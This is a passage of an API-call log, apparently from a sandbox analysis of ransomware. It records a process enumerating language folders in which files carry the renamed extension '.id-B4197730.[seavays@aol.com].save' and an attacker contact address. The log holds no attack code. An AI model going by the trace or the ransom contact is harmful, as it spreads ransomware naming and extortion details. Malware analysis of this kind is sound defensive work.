returned 1 [0158.693] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x72441bf, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x72441bf, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7302cc7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0158.693] FindClose (in: hFindFile=0x72a708 | out: hFindFile=0x72a708) returned 1 [0158.693] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0158.693] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x7302cc7, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7302cc7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="1030", cAlternateFileName="")) returned 1 [0158.693] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4520058 [0158.694] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x7302cc7, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7302cc7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName=".", cAlternateFileName="")) returned 0x72a708 [0158.694] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x7302cc7, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7302cc7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="..", cAlternateFileName="")) returned 1 [0158.694] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7708c77, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7708c77, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7708c77, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xde4, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0158.695] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x772ef7a, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x772ef7a, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x772ef7a, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x130b6, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0158.695] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x72441bf, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x72441bf, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7302cc7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0158.695] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x72441bf, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x72441bf, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7302cc7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0158.695] FindClose (in: hFindFile=0x72a708 | out: hFindFile=0x72a708) returned 1 [0158.696] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0158.696] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x732902c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x732902c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="1031", cAlternateFileName="")) returned 1 [0158.696] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4520058 [0158.696] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x732902c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x732902c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName=".", cAlternateFileName="")) returned 0x72a708 [0158.696] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x732902c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x732902c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="..", cAlternateFileName="")) returned 1 [0158.697] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x772ef7a, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x772ef7a, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x80e7938, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xe44, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0158.697] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7da026f, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7da026f, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7da026f, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x142a6, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0158.697] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7302cc7, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7302cc7, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x732902c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0158.697] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7302cc7, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7302cc7, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x732902c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0158.697] FindClose (in: hFindFile=0x72a708 | out: hFindFile=0x72a708) returned 1 [0158.698] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0158.698] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x734f1ca, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x734f1ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="1032", cAlternateFileName="")) returned 1 [0158.698] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4520058 [0158.698] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x734f1ca, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x734f1ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName=".", cAlternateFileName="")) returned 0x72a708 [0158.699] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x734f1ca, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x734f1ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="..", cAlternateFileName="")) returned 1 [0158.699] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7dc6520, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7dc6520, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7dc6520, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x2394, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0158.699] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7dc6520, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7dc6520, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7dec7e1, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x15206, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0158.699] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x732902c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x732902c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x734f1ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0158.699] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x732902c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x732902c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x734f1ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0158.699] FindClose (in: hFindFile=0x72a708 | out: hFindFile=0x72a708) returned 1 [0158.700] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0158.700] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x740ddd0, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x740ddd0, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="1033", cAlternateFileName="")) returned 1 [0158.700] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4520058 [0158.700] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x740ddd0, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x740ddd0, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName=".", cAlternateFileName="")) returned 0x72a708 [0158.701] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x740ddd0, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x740ddd0, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="..", cAlternateFileName="")) returned 1 [0158.701] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7dec7e1, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7dec7e1, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8264d9d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xd64, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0158.701] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7eab335, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7eab335, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7eab335, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x12eb6, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0158.701] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x732902c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x732902c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x748055f, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0158.701] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x732902c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x732902c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x748055f, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0158.701] FindClose (in: hFindFile=0x72a708 | out: hFindFile=0x72a708) returned 1 [0159.002] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.002] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x734f1ca, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x734f1ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="1035", cAlternateFileName="")) returned 1 [0159.003] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4520058 [0159.003] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x734f1ca, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x734f1ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName=".", cAlternateFileName="")) returned 0x4531b80 [0159.004] FindNextFileW (in: hFindFile=0x4531b80, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x734f1ca, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x734f1ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="..", cAlternateFileName="")) returned 1 [0159.004] FindNextFileW (in: hFindFile=0x4531b80, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7ed1893, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7ed1893, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7ed1893, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xf64, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0159.004] FindNextFileW (in: hFindFile=0x4531b80, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7ed1893, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7ed1893, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7ef7aab, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x12dd6, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0159.004] FindNextFileW (in: hFindFile=0x4531b80, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x734f1ca, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x734f1ca, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x734f1ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0159.004] FindNextFileW (in: hFindFile=0x4531b80, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x734f1ca, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x734f1ca, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x734f1ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0159.004] FindClose (in: hFindFile=0x4531b80 | out: hFindFile=0x4531b80) returned 1 [0159.005] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.005] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x737fee6, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x737fee6, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="1036", cAlternateFileName="")) returned 1 [0159.005] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4520058 [0159.005] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x737fee6, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x737fee6, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName=".", cAlternateFileName="")) returned 0x4531e40 [0159.006] FindNextFileW (in: hFindFile=0x4531e40, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x737fee6, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x737fee6, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="..", cAlternateFileName="")) returned 1 [0159.006] FindNextFileW (in: hFindFile=0x4531e40, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7ef7aab, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7ef7aab, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8396179, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xeb4, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0159.007] FindNextFileW (in: hFindFile=0x4531e40, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8028d9e, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8028d9e, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8028d9e, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x14516, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0159.007] FindNextFileW (in: hFindFile=0x4531e40, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x734f1ca, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x734f1ca, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7dec7e1, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, 